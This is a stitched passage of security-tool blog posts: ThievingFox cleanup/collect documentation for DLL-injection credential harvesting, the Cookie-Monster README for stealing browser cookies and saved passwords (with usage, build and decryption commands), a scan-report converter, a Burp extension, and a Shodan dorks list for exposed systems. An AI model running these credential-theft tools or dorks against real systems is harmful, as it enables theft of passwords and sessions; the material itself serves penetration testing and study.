    Cleanup

    For each application specified in the command line parameters, the cleanup first removes poisonning artifacts that force the target application to load the hooking library. Then, it tries to delete the library that were uploaded to the remote host.

    For applications that support poisonning of both HKCU and HKCR hives, both are cleaned up regardless.

    Multiple applications can be specified at once, or, the --all flag can be used to cleanup all applications.

    It does not clean extracted credentials on the remote host.

    [!IMPORTANT] If the targeted application is in use while the cleanup module is ran, the DLL that are dropped on the target cannot be deleted. Nonetheless, the cleanup module will revert the configuration that enables the injection, which should ensure that the next time the application is launched, no injection is performed. Files that cannot be deleted by ThievingFox are logged.

    $ python3 client/ThievingFox.py cleanup -h
    usage: ThievingFox.py cleanup [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepass-share KEEPASS_SHARE]
    [--keepass-path KEEPASS_PATH] [--keepassxc] [--keepassxc-path KEEPASSXC_PATH] [--keepassxc-share KEEPASSXC_SHARE] [--mstsc] [--consent] [--logonui]
    [--rdcman] [--mobaxterm] [--all]
    target

    positional arguments:
    target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]

    options:
    -h, --help show this help message and exit
    -hashes HASHES, --hashes HASHES
    LM:NT hash
    -aesKey AESKEY, --aesKey AESKEY
    AES key to use for Kerberos Authentication
    -k Use kerberos authentication. For LogonUI, mstsc and cons ent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
    -dc-ip DC_IP, --dc-ip DC_IP
    IP Address of the domain controller
    -no-pass, --no-pass Do not prompt for password
    --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
    --keepass Try to cleanup all poisonning artifacts related to KeePass.exe
    --keepass-share KEEPASS_SHARE
    The share on which KeePass is installed (Default: c$)
    --keepass-path KEEPASS_PATH
    The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/)
    --keepassxc Try to cleanup all poisonning artifacts related to KeePassXC.exe
    --keepassxc-path KEEPASSXC_PATH
    The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/)
    --keepassxc-share KEEPASSXC_SHARE
    The share on which KeePassXC is installed (Default: c$)
    --mstsc Try to cleanup all poisonning artifacts related to mstsc.exe
    --consent Try to cleanup all poisonning artifacts related to Consent.exe
    --logonui Try to cleanup all poisonning artifacts related to LogonUI.exe
    --rdcman Try to cleanup all poisonning artifacts related to RDCMan.exe
    --mobaxterm Try to cleanup all poisonning artifacts related to MobaXTerm.exe
    --all Try to cleanup all poisonning artifacts related to all applications

    Collect

    For each application specified on the command line parameters, the collect module retrieves output files on the remote host stored inside C:\Windows\Temp\<tempdir> corresponding to the application, and decrypts them. The files are deleted from the remote host, and retrieved data is stored in client/ouput/.

    Multiple applications can be specified at once, or, the --all flag can be used to collect logs from all applications.

    $ python3 client/ThievingFox.py collect -h
    usage: ThievingFox.py collect [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepassxc] [--mstsc] [--consent]
    [--logonui] [--rdcman] [--mobaxterm] [--all]
    target

    positional arguments:
    target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]

    options:
    -h, --help show this help message and exit
    -hashes HASHES, --hashes HASHES
    LM:NT hash
    -aesKey AESKEY, --aesKey AESKEY
    AES key to use for Kerberos Authentication
    -k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
    -dc-ip DC_IP, --dc-ip DC_IP
    IP Address of th e domain controller
    -no-pass, --no-pass Do not prompt for password
    --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
    --keepass Collect KeePass.exe logs
    --keepassxc Collect KeePassXC.exe logs
    --mstsc Collect mstsc.exe logs
    --consent Collect Consent.exe logs
    --logonui Collect LogonUI.exe logs
    --rdcman Collect RDCMan.exe logs
    --mobaxterm Collect MobaXTerm.exe logs
    --all Collect logs from all applications


    Cookie-Monster - BOF To Steal Browser Cookies & Credentials

    By: Zion3R


    Steal browser cookies for edge, chrome and firefox through a BOF or exe! Cookie-Monster will extract the WebKit master key, locate a browser process with a handle to the Cookies and Login Data files, copy the handle(s) and then filelessly download the target. Once the Cookies/Login Data file(s) are downloaded, the python decryption script can help extract those secrets! Firefox module will parse the profiles.ini and locate where the logins.json and key4.db files are located and download them. A seperate github repo is referenced for offline decryption.


    BOF Usage

    Usage: cookie-monster [ --chrome || --edge || --firefox || --chromeCookiePID <pid> || --chromeLoginDataPID <PID> || --edgeCookiePID <pid> || --edgeLoginDataPID <pid>] 
    cookie-monster Example:
    cookie-monster --chrome
    cookie-monster --edge
    cookie-moster --firefox
    cookie-monster --chromeCookiePID 1337
    cookie-monster --chromeLoginDataPID 1337
    cookie-monster --edgeCookiePID 4444
    cookie-monster --edgeLoginDataPID 4444
    cookie-monster Options:
    --chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to Cookies/Login Data and then copies the file to the CWD
    --edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to Cookies/Login Data and then copies the file to the CWD
    --firefox, looks for profiles.ini and locates the key4.db and logins.json file
    --chromeCookiePID, if chrome PI D is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
    --chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
    --edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
    --edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file

    EXE usage

    Cookie Monster Example:
    cookie-monster.exe --all
    Cookie Monster Options:
    -h, --help Show this help message and exit
    --all Run chrome, edge, and firefox methods
    --edge Extract edge keys and download Cookies/Login Data file to PWD
    --chrome Extract chrome keys and download Cookies/Login Data file to PWD
    --firefox Locate firefox key and Cookies, does not make a copy of either file

    Decryption Steps

    Install requirements

    pip3 install -r requirements.txt

    Base64 encode the webkit masterkey

    python3 base64-encode.py "\xec\xfc...."

    Decrypt Chrome/Edge Cookies File

    python .\decrypt.py "XHh..." --cookies ChromeCookie.db

    Results Example:
    -----------------------------------
    Host: .github.com
    Path: /
    Name: dotcom_user
    Cookie: KingOfTheNOPs
    Expires: Oct 28 2024 21:25:22

    Host: github.com
    Path: /
    Name: user_session
    Cookie: x123.....
    Expires: Nov 11 2023 21:25:22

    Decrypt Chome/Edge Passwords File

    python .\decrypt.py "XHh..." --passwords ChromePasswords.db

    Results Example:
    -----------------------------------
    URL: https://test.com/
    Username: tester
    Password: McTesty

    Decrypt Firefox Cookies and Stored Credentials:
    https://github.com/lclevy/firepwd

    Installation

    Ensure Mingw-w64 and make is installed on the linux prior to compiling.

    make

    to compile exe on windows

    gcc .\cookie-monster.c -o cookie-monster.exe -lshlwapi -lcrypt32

    TO-DO

    • update decrypt.py to support firefox based on firepwd and add bruteforce module based on DonPAPI

    References

    This project could not have been done without the help of Mr-Un1k0d3r and his amazing seasonal videos! Highly recommend checking out his lessons!!!
    Cookie Webkit Master Key Extractor: https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
    Fileless download: https://github.com/fortra/nanodump
    Decrypt Cookies and Login Data: https://github.com/login-securite/DonPAPI



    Sr2T - Converts Scanning Reports To A Tabular Format

    By: Zion3R


    Scanning reports to tabular (sr2t)

    This tool takes a scanning tool's output file, and converts it to a tabular format (CSV, XLSX, or text table). This tool can process output from the following tools:

    1. Nmap (XML);
    2. Nessus (XML);
    3. Nikto (XML);
    4. Dirble (XML);
    5. Testssl (JSON);
    6. Fortify (FPR).

    Rationale

    This tool can offer a human-readable, tabular format which you can tie to any observations you have drafted in your report. Why? Because then your reviewers can tell that you, the pentester, investigated all found open ports, and looked at all scanning reports.

    Dependencies

    1. argparse (dev-python/argparse);
    2. prettytable (dev-python/prettytable);
    3. python (dev-lang/python);
    4. xlsxwriter (dev-python/xlsxwriter).

    Install

    Using Pip:

    pip install --user sr2t

    Usage

    You can use sr2t in two ways:

    • When installed as package, call the installed script: sr2t --help.
    • When Git cloned, call the package directly from the root of the Git repository: python -m src.sr2t --help
    $ sr2t --help
    usage: sr2t [-h] [--nessus NESSUS [NESSUS ...]] [--nmap NMAP [NMAP ...]]
    [--nikto NIKTO [NIKTO ...]] [--dirble DIRBLE [DIRBLE ...]]
    [--testssl TESTSSL [TESTSSL ...]]
    [--fortify FORTIFY [FORTIFY ...]] [--nmap-state NMAP_STATE]
    [--nmap-services] [--no-nessus-autoclassify]
    [--nessus-autoclassify-file NESSUS_AUTOCLASSIFY_FILE]
    [--nessus-tls-file NESSUS_TLS_FILE]
    [--nessus-x509-file NESSUS_X509_FILE]
    [--nessus-http-file NESSUS_HTTP_FILE]
    [--nessus-smb-file NESSUS_SMB_FILE]
    [--nessus-rdp-file NESSUS_RDP_FILE]
    [--nessus-ssh-file NESSUS_SSH_FILE]
    [--nessus-min-severity NESSUS_MIN_SEVERITY]
    [--nessus-plugin-name-width NESSUS_PLUGIN_NAME_WIDTH]
    [--nessus-sort-by NESSUS_SORT_BY]
    [--nikto-description-width NIKTO_DESCRIPTION_WIDTH]< br/> [--fortify-details] [--annotation-width ANNOTATION_WIDTH]
    [-oC OUTPUT_CSV] [-oT OUTPUT_TXT] [-oX OUTPUT_XLSX]
    [-oA OUTPUT_ALL]

    Converting scanning reports to a tabular format

    optional arguments:
    -h, --help show this help message and exit
    --nmap-state NMAP_STATE
    Specify the desired state to filter (e.g.
    open|filtered).
    --nmap-services Specify to ouput a supplemental list of detected
    services.
    --no-nessus-autoclassify
    Specify to not autoclassify Nessus results.
    --nessus-autoclassify-file NESSUS_AUTOCLASSIFY_FILE
    Specify to override a custom Nessus autoclassify YAML
    file.
    --nessus-tls-file NESSUS_TLS_FILE
    Specify to override a custom Nessus TLS findings YAML
    file.
    --nessus-x509-file NESSUS_X509_FILE
    Specify to override a custom Nessus X.509 findings
    YAML file.
    --nessus-http-file NESSUS_HTTP_FILE
    Specify to override a custom Nessus HTTP findings YAML
    file.
    --nessus-smb-file NESSUS_SMB_FILE
    Specify to override a custom Nessus SMB findings YAML
    file.
    --nessus-rdp-file NESSUS_RDP_FILE
    Specify to override a custom Nessus RDP findings YAML
    file.
    --nessus-ssh-file NESSUS_SSH_FILE
    Specify to override a custom Nessus SSH findings YAML
    file.
    --nessus-min-severity NESSUS_MIN_SEVERITY
    Specify the minimum severity to output (e.g. 1).
    --nessus-plugin-name-width NESSUS_PLUGIN_NAME_WIDTH
    Specify the width of the pluginid column (e.g. 30).
    --nessus-sort-by NESSUS_SORT_BY
    Specify to sort output by ip-address, port, plugin-id,
    plugin-name or severity.
    --nikto-description-width NIKTO_DESCRIPTION_WIDTH
    Specify the width of the description column (e.g. 30).
    --fortify-details Specify to include the Fortify abstracts, explanations
    and recommendations for each vulnerability.
    --annotation-width ANNOTATION_WIDTH
    Specify the width of the annotation column (e.g. 30).
    -oC OUTPUT_CSV, --output-csv OUTPUT_CSV
    Specify the output CSV basename (e.g. output).
    -oT OUTPUT_TXT, --output-txt OUTPUT_TXT
    Specify the output TXT file (e.g. output.txt).
    -oX OUTPUT_XLSX, --output-xlsx OUTPUT_XLSX
    Specify the outpu t XLSX file (e.g. output.xlsx). Only
    for Nessus at the moment
    -oA OUTPUT_ALL, --output-all OUTPUT_ALL
    Specify the output basename to output to all formats
    (e.g. output).

    specify at least one:
    --nessus NESSUS [NESSUS ...]
    Specify (multiple) Nessus XML files.
    --nmap NMAP [NMAP ...]
    Specify (multiple) Nmap XML files.
    --nikto NIKTO [NIKTO ...]
    Specify (multiple) Nikto XML files.
    --dirble DIRBLE [DIRBLE ...]
    Specify (multiple) Dirble XML files.
    --testssl TESTSSL [TESTSSL ...]
    Specify (multiple) Testssl JSON files.
    --fortify FORTIFY [FORTIFY ...]
    Specify (multiple) HP Fortify FPR files.

    Example

    A few examples

    Nessus

    To produce an XLSX format:

    $ sr2t --nessus example/nessus.nessus --no-nessus-autoclassify -oX example.xlsx

    To produce an text tabular format to stdout:

    $ sr2t --nessus example/nessus.nessus
    +---------------+-------+-----------+-----------------------------------------------------------------------------+----------+-------------+
    | host | port | plugin id | plugin name | severity | annotations |
    +---------------+-------+-----------+-----------------------------------------------------------------------------+----------+-------------+
    | 192.168.142.4 | 3389 | 42873 | SSL Medium Strength Cipher Suites Supported (SWEET32) | 2 | X |
    | 192.168.142.4 | 443 | 42873 | SSL Medium Strength Cipher Suites Supported (SWEET32) | 2 | X |
    | 192.168.142.4 | 3389 | 18405 | Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness | 2 | X |
    | 192.168.142.4 | 3389 | 30218 | Terminal Services Encryption Level is not FIPS-140 Compliant | 1 | X |
    | 192.168.142.4 | 3389 | 57690 | Terminal Services Encryption Level is Medium or Low | 2 | X |
    | 192.168.142.4 | 3389 | 58453 | Terminal Services Doesn't Use Network Level Authentication (NLA) Only | 2 | X |
    | 192.168.142.4 | 3389 | 45411 | SSL Certificate with Wrong Hostname | 2 | X |
    | 192.168.142.4 | 443 | 45411 | SSL Certificate with Wrong Hostname | 2 | X |
    | 192.168.142.4 | 3389 | 35291 | SSL Certificate Signed Using Weak Hashing Algorithm | 2 | X |
    | 192.168.142.4 | 3389 | 57582 | SSL Self-Signed Certificate | 2 | X |
    | 192.168.142.4 | 3389 | 51192 | SSL Certificate Can not Be Trusted | 2 | X |
    | 192.168.142.2 | 3389 | 42873 | SSL Medium Strength Cipher Suites Supported (SWEET32) | 2 | X |
    | 192.168.142.2 | 443 | 42873 | SSL Medium Strength Cipher Suites Supported (SWEET32) | 2 | X |
    | 192.168.142.2 | 3389 | 18405 | Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness | 2 | X |
    | 192.168.142.2 | 3389 | 30218 | Terminal Services Encryption Level is not FIPS-140 Compliant | 1 | X |
    | 192.168.142.2 | 3389 | 57690 | Terminal Services Encryption Level is Medium or Low | 2 | X |
    | 192.168.142.2 | 3389 | 58453 | Terminal Services Doesn't Use Network Level Authentication (NLA) Only | 2 | X |
    | 192.168.142.2 | 3389 | 45411 | S SL Certificate with Wrong Hostname | 2 | X |
    | 192.168.142.2 | 443 | 45411 | SSL Certificate with Wrong Hostname | 2 | X |
    | 192.168.142.2 | 3389 | 35291 | SSL Certificate Signed Using Weak Hashing Algorithm | 2 | X |
    | 192.168.142.2 | 3389 | 57582 | SSL Self-Signed Certificate | 2 | X |
    | 192.168.142.2 | 3389 | 51192 | SSL Certificate Cannot Be Trusted | 2 | X |
    | 192.168.142.2 | 445 | 57608 | SMB Signing not required | 2 | X |
    +---------------+-------+-----------+-----------------------------------------------------------------------------+----------+-------------+

    Or to output a CSV file:

    $ sr2t --nessus example/nessus.nessus -oC example
    $ cat example_nessus.csv
    host,port,plugin id,plugin name,severity,annotations
    192.168.142.4,3389,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
    192.168.142.4,443,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
    192.168.142.4,3389,18405,Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness,2,X
    192.168.142.4,3389,30218,Terminal Services Encryption Level is not FIPS-140 Compliant,1,X
    192.168.142.4,3389,57690,Terminal Services Encryption Level is Medium or Low,2,X
    192.168.142.4,3389,58453,Terminal Services Doesn't Use Network Level Authentication (NLA) Only,2,X
    192.168.142.4,3389,45411,SSL Certificate with Wrong Hostname,2,X
    192.168.142.4,443,45411,SSL Certificate with Wrong Hostname,2,X
    192.168.142.4,3389,35291,SSL Certificate Signed Using Weak Hashing Algorithm,2,X
    192.168.142.4,3389,57582,SSL Self-Signed Certificate,2,X
    192.168.142.4,3389,51192,SSL Certificate Cannot Be Trusted,2,X
    192.168.142.2,3389,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
    192.168.142.2,443,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
    192.168.142.2,3389,18405,Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness,2,X
    192.168.142.2,3389,30218,Terminal Services Encryption Level is not FIPS-140 Compliant,1,X
    192.168.142.2,3389,57690,Terminal Services Encryption Level is Medium or Low,2,X
    192.168.142.2,3389,58453,Terminal Services Doesn't Use Network Level Authentication (NLA) Only,2,X
    192.168.142.2,3389,45411,SSL Certificate with Wrong Hostname,2,X
    192.168.142.2,443,45411,SSL Certificate with Wrong Hostname,2,X
    192.168.142.2,3389,35291,SSL Certificate Signed Using Weak Hashing Algorithm,2,X
    192.168.142.2,3389,57582,SSL Self-Signed Certificate,2,X
    192.168.142.2,3389,51192,SSL Certificate Cannot Be Trusted,2,X
    192.168.142.2,44 5,57608,SMB Signing not required,2,X

    Nmap

    To produce an XLSX format:

    $ sr2t --nmap example/nmap.xml -oX example.xlsx

    To produce an text tabular format to stdout:

    $ sr2t --nmap example/nmap.xml --nmap-services
    Nmap TCP:
    +-----------------+----+----+----+-----+-----+-----+-----+------+------+------+
    | | 53 | 80 | 88 | 135 | 139 | 389 | 445 | 3389 | 5800 | 5900 |
    +-----------------+----+----+----+-----+-----+-----+-----+------+------+------+
    | 192.168.23.78 | X | | X | X | X | X | X | X | | |
    | 192.168.27.243 | | | | X | X | | X | X | X | X |
    | 192.168.99.164 | | | | X | X | | X | X | X | X |
    | 192.168.228.211 | | X | | | | | | | | |
    | 192.168.171.74 | | | | X | X | | X | X | X | X |
    +-----------------+----+----+----+-----+-----+-----+-----+------+------+------+

    Nmap Services:
    +-----------------+------+-------+---------------+-------+
    | ip address | port | proto | service | state |
    +--------------- --+------+-------+---------------+-------+
    | 192.168.23.78 | 53 | tcp | domain | open |
    | 192.168.23.78 | 88 | tcp | kerberos-sec | open |
    | 192.168.23.78 | 135 | tcp | msrpc | open |
    | 192.168.23.78 | 139 | tcp | netbios-ssn | open |
    | 192.168.23.78 | 389 | tcp | ldap | open |
    | 192.168.23.78 | 445 | tcp | microsoft-ds | open |
    | 192.168.23.78 | 3389 | tcp | ms-wbt-server | open |
    | 192.168.27.243 | 135 | tcp | msrpc | open |
    | 192.168.27.243 | 139 | tcp | netbios-ssn | open |
    | 192.168.27.243 | 445 | tcp | microsoft-ds | open |
    | 192.168.27.243 | 3389 | tcp | ms-wbt-server | open |
    | 192.168.27.243 | 5800 | tcp | vnc-http | open |
    | 192.168.27.243 | 5900 | tcp | vnc | open |
    | 192.168.99.164 | 135 | tcp | msrpc | open |
    | 192.168.99.164 | 139 | tcp | netbios-ssn | open |
    | 192 .168.99.164 | 445 | tcp | microsoft-ds | open |
    | 192.168.99.164 | 3389 | tcp | ms-wbt-server | open |
    | 192.168.99.164 | 5800 | tcp | vnc-http | open |
    | 192.168.99.164 | 5900 | tcp | vnc | open |
    | 192.168.228.211 | 80 | tcp | http | open |
    | 192.168.171.74 | 135 | tcp | msrpc | open |
    | 192.168.171.74 | 139 | tcp | netbios-ssn | open |
    | 192.168.171.74 | 445 | tcp | microsoft-ds | open |
    | 192.168.171.74 | 3389 | tcp | ms-wbt-server | open |
    | 192.168.171.74 | 5800 | tcp | vnc-http | open |
    | 192.168.171.74 | 5900 | tcp | vnc | open |
    +-----------------+------+-------+---------------+-------+

    Or to output a CSV file:

    $ sr2t --nmap example/nmap.xml -oC example
    $ cat example_nmap_tcp.csv
    ip address,53,80,88,135,139,389,445,3389,5800,5900
    192.168.23.78,X,,X,X,X,X,X,X,,
    192.168.27.243,,,,X,X,,X,X,X,X
    192.168.99.164,,,,X,X,,X,X,X,X
    192.168.228.211,,X,,,,,,,,
    192.168.171.74,,,,X,X,,X,X,X,X

    Nikto

    To produce an XLSX format:

    $ sr2t --nikto example/nikto.xml -oX example/nikto.xlsx

    To produce an text tabular format to stdout:

    $ sr2t --nikto example/nikto.xml
    +----------------+-----------------+-------------+----------------------------------------------------------------------------------+-------------+
    | target ip | target hostname | target port | description | annotations |
    +----------------+-----------------+-------------+----------------------------------------------------------------------------------+-------------+
    | 192.168.178.10 | 192.168.178.10 | 80 | The anti-clickjacking X-Frame-Options header is not present. | X |
    | 192.168.178.10 | 192.168.178.10 | 80 | The X-XSS-Protection header is not defined. This header can hint to the user | X |
    | | | | agent to protect against some forms of XSS | |
    | 192.168.178.10 | 192.168.178.10 | 8 0 | The X-Content-Type-Options header is not set. This could allow the user agent to | X |
    | | | | render the content of the site in a different fashion to the MIME type | |
    +----------------+-----------------+-------------+----------------------------------------------------------------------------------+-------------+

    Or to output a CSV file:

    $ sr2t --nikto example/nikto.xml -oC example
    $ cat example_nikto.csv
    target ip,target hostname,target port,description,annotations
    192.168.178.10,192.168.178.10,80,The anti-clickjacking X-Frame-Options header is not present.,X
    192.168.178.10,192.168.178.10,80,"The X-XSS-Protection header is not defined. This header can hint to the user
    agent to protect against some forms of XSS",X
    192.168.178.10,192.168.178.10,80,"The X-Content-Type-Options header is not set. This could allow the user agent to
    render the content of the site in a different fashion to the MIME type",X

    Dirble

    To produce an XLSX format:

    $ sr2t --dirble example/dirble.xml -oX example.xlsx

    To produce an text tabular format to stdout:

    $ sr2t --dirble example/dirble.xml
    +-----------------------------------+------+-------------+--------------+-------------+---------------------+--------------+-------------+
    | url | code | content len | is directory | is listable | found from listable | redirect url | annotations |
    +-----------------------------------+------+-------------+--------------+-------------+---------------------+--------------+-------------+
    | http://example.org/flv | 0 | 0 | false | false | false | | X |
    | http://example.org/hire | 0 | 0 | false | false | false | | X |
    | http://example.org/phpSQLiteAdmin | 0 | 0 | false | false | false | | X |
    | http://example.org/print_order | 0 | 0 | false | false | fa lse | | X |
    | http://example.org/putty | 0 | 0 | false | false | false | | X |
    | http://example.org/receipts | 0 | 0 | false | false | false | | X |
    +-----------------------------------+------+-------------+--------------+-------------+---------------------+--------------+-------------+

    Or to output a CSV file:

    $ sr2t --dirble example/dirble.xml -oC example
    $ cat example_dirble.csv
    url,code,content len,is directory,is listable,found from listable,redirect url,annotations
    http://example.org/flv,0,0,false,false,false,,X
    http://example.org/hire,0,0,false,false,false,,X
    http://example.org/phpSQLiteAdmin,0,0,false,false,false,,X
    http://example.org/print_order,0,0,false,false,false,,X
    http://example.org/putty,0,0,false,false,false,,X
    http://example.org/receipts,0,0,false,false,false,,X

    Testssl

    To produce an XLSX format:

    $ sr2t --testssl example/testssl.json -oX example.xlsx

    To produce an text tabular format to stdout:

    $ sr2t --testssl example/testssl.json
    +-----------------------------------+------+--------+---------+--------+------------+-----+---------+---------+----------+
    | ip address | port | BREACH | No HSTS | No PFS | No TLSv1.3 | RC4 | TLSv1.0 | TLSv1.1 | Wildcard |
    +-----------------------------------+------+--------+---------+--------+------------+-----+---------+---------+----------+
    | rc4-md5.badssl.com/104.154.89.105 | 443 | X | X | X | X | X | X | X | X |
    +-----------------------------------+------+--------+---------+--------+------------+-----+---------+---------+----------+

    Or to output a CSV file:

    $ sr2t --testssl example/testssl.json -oC example
    $ cat example_testssl.csv
    ip address,port,BREACH,No HSTS,No PFS,No TLSv1.3,RC4,TLSv1.0,TLSv1.1,Wildcard
    rc4-md5.badssl.com/104.154.89.105,443,X,X,X,X,X,X,X,X

    Fortify

    To produce an XLSX format:

    $ sr2t --fortify example/fortify.fpr -oX example.xlsx

    To produce an text tabular format to stdout:

    $ sr2t --fortify example/fortify.fpr
    +--------------------------+-----------------------+-------------------------------+----------+------------+-------------+
    | | type | subtype | severity | confidence | annotations |
    +--------------------------+-----------------------+-------------------------------+----------+------------+-------------+
    | example1/web.xml:135:135 | J2EE Misconfiguration | Insecure Transport | 3.0 | 5.0 | X |
    | example2/web.xml:150:150 | J2EE Misconfiguration | Insecure Transport | 3.0 | 5.0 | X |
    | example3/web.xml:109:109 | J2EE Misconfiguration | Incomplete Error Handling | 3.0 | 5.0 | X |
    | example4/web.xml:108:108 | J2EE Misconfiguration | Incomplete Error Handling | 3.0 | 5.0 | X |
    | example5/web.xml:166:166 | J2EE Misconfiguration | Inse cure Transport | 3.0 | 5.0 | X |
    | example6/web.xml:2:2 | J2EE Misconfiguration | Excessive Session Timeout | 3.0 | 5.0 | X |
    | example7/web.xml:162:162 | J2EE Misconfiguration | Missing Authentication Method | 3.0 | 5.0 | X |
    +--------------------------+-----------------------+-------------------------------+----------+------------+-------------+

    Or to output a CSV file:

    $ sr2t --fortify example/fortify.fpr -oC example
    $ cat example_fortify.csv
    ,type,subtype,severity,confidence,annotations
    example1/web.xml:135:135,J2EE Misconfiguration,Insecure Transport,3.0,5.0,X
    example2/web.xml:150:150,J2EE Misconfiguration,Insecure Transport,3.0,5.0,X
    example3/web.xml:109:109,J2EE Misconfiguration,Incomplete Error Handling,3.0,5.0,X
    example4/web.xml:108:108,J2EE Misconfiguration,Incomplete Error Handling,3.0,5.0,X
    example5/web.xml:166:166,J2EE Misconfiguration,Insecure Transport,3.0,5.0,X
    example6/web.xml:2:2,J2EE Misconfiguration,Excessive Session Timeout,3.0,5.0,X
    example7/web.xml:162:162,J2EE Misconfiguration,Missing Authentication Method,3.0,5.0,X

    Donate

    • WOW: WW4L3VCX11zWgKPX51TRw2RENe8STkbCkh5wTV4GuQnbZ1fKYmPFobZhEfS1G9G3vwjBhzioi3vx8JgBx2xLxe4N1gtJee8Mp


    GAP-Burp-Extension - Burp Extension To Find Potential Endpoints, Parameters, And Generate A Custom Target Wordlist

    By: Zion3R

    This is an evolution of the original getAllParams extension for Burp. Not only does it find more potential parameters for you to investigate, but it also finds potential links to try these parameters on, and produces a target specific wordlist to use for fuzzing. The full Help documentation can be found here or from the Help icon on the GAP tab.


    TL;DR

    Installation

    1. Visit Jython Offical Site, and download the latest stand alone JAR file, e.g. jython-standalone-2.7.3.jar.
    2. Open Burp, go to Extensions -> Extension Settings -> Python Environment, set the Location of Jython standalone JAR file and Folder for loading modules to the directory where the Jython JAR file was saved.
    3. On a command line, go to the directory where the jar file is and run java -jar jython-standalone-2.7.3.jar -m ensurepip.
    4. Download the GAP.py and requirements.txt from this project and place in the same directory.
    5. Install Jython modules by running java -jar jython-standalone-2.7.3.jar -m pip install -r requirements.txt.
    6. Go to the Extensions -> Installed and click Add under Burp Extensions.
    7. Select Extension type of Python and select the GAP.py file.

    Using

    1. Just select a target in your Burp scope (or multiple targets), or even just one subfolder or endpoint, and choose extension GAP:

    Or you can right click a request or response in any other context and select GAP from the Extensions menu.

    1. Then go to the GAP tab to see the results:

    IMPORTANT Notes

    If you don't need one of the modes, then un-check it as results will be quicker.

    If you run GAP for one or more targets from the Site Map view, don't have them expanded when you run GAP... unfortunately this can make it a lot slower. It will be more efficient if you run for one or two target in the Site Map view at a time, as huge projects can have consume a lot of resources.

    If you want to run GAP on one of more specific requests, do not select them from the Site Map tree view. It will be a lot quicker to run it from the Site Map Contents view if possible, or from proxy history.

    It is hard to design GAP to display all controls for all screen resolutions and font sizes. I have tried to deal with the most common setups, but if you find you cannot see all the controls, you can hold down the Ctrl button and click the GAP logo header image to remove it to make more space.

    The Words mode uses the beautifulsoup4 library and this can be quite slow, so be patient!

    In Depth Instructions

    Below is an in-depth look at the GAP Burp extension, from installing it successfully, to explaining all of the features.

    NOTE: This video is from 16th July 2023 and explores v3.X, so any features added after this may not be featured.

    TODO

    • Get potential parameters from the Request that Burp doesn't identify itself, e.g. XML, graphql, etc.
    • Add an option to not add the Tentaive Issues, e.g. Parameters that were found in the Response (but not as query parameters in links found).
    • Improve performance of the link finding regular expressions.
    • Include the Request/Response markers in the raised Sus parameter Issues if I can find a way to not make performance really bad!
    • Deal with other size displays and font sizes better to make sure all controls are viewable.
    • If multiple Site Map tree targets are selected, write the files more efficiently. This can take forever in some cases.
    • Use an alternative to beautifulsoup4 that is faster to parse responses for Words.

    Good luck and good hunting! If you really love the tool (or any others), or they helped you find an awesome bounty, consider BUYING ME A COFFEE! โ˜• (I could use the caffeine!)

    ๐Ÿค˜ /XNL-h4ck3r



    Shodan Dorks

    By: Zion3R


    Shodan Dorks by twitter.com/lothos612

    Feel free to make suggestions


    Shodan Dorks

    Basic Shodan Filters

    city:

    Find devices in a particular city. city:"Bangalore"

    country:

    Find devices in a particular country. country:"IN"

    geo:

    Find devices by giving geographical coordinates. geo:"56.913055,118.250862"

    Location

    country:us country:ru country:de city:chicago

    hostname:

    Find devices matching the hostname. server: "gws" hostname:"google" hostname:example.com -hostname:subdomain.example.com hostname:example.com,example.org

    net:

    Find devices based on an IP address or /x CIDR. net:210.214.0.0/16

    Organization

    org:microsoft org:"United States Department"

    Autonomous System Number (ASN)

    asn:ASxxxx

    os:

    Find devices based on operating system. os:"windows 7"

    port:

    Find devices based on open ports. proftpd port:21

    before/after:

    Find devices before or after between a given time. apache after:22/02/2009 before:14/3/2010

    SSL/TLS Certificates

    Self signed certificates ssl.cert.issuer.cn:example.com ssl.cert.subject.cn:example.com

    Expired certificates ssl.cert.expired:true

    ssl.cert.subject.cn:example.com

    Device Type

    device:firewall device:router device:wap device:webcam device:media device:"broadband router" device:pbx device:printer device:switch device:storage device:specialized device:phone device:"voip" device:"voip phone" device:"voip adaptor" device:"load balancer" device:"print server" device:terminal device:remote device:telecom device:power device:proxy device:pda device:bridge

    Operating System

    os:"windows 7" os:"windows server 2012" os:"linux 3.x"

    Product

    product:apache product:nginx product:android product:chromecast

    Customer Premises Equipment (CPE)

    cpe:apple cpe:microsoft cpe:nginx cpe:cisco

    Server

    server: nginx server: apache server: microsoft server: cisco-ios

    ssh fingerprints

    dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0

    Web

    Pulse Secure

    http.html:/dana-na

    PEM Certificates

    http.title:"Index of /" http.html:".pem"

    Tor / Dark Web sites

    onion-location

    Databases

    MySQL

    "product:MySQL" mysql port:"3306"

    MongoDB

    "product:MongoDB" mongodb port:27017

    Fully open MongoDBs

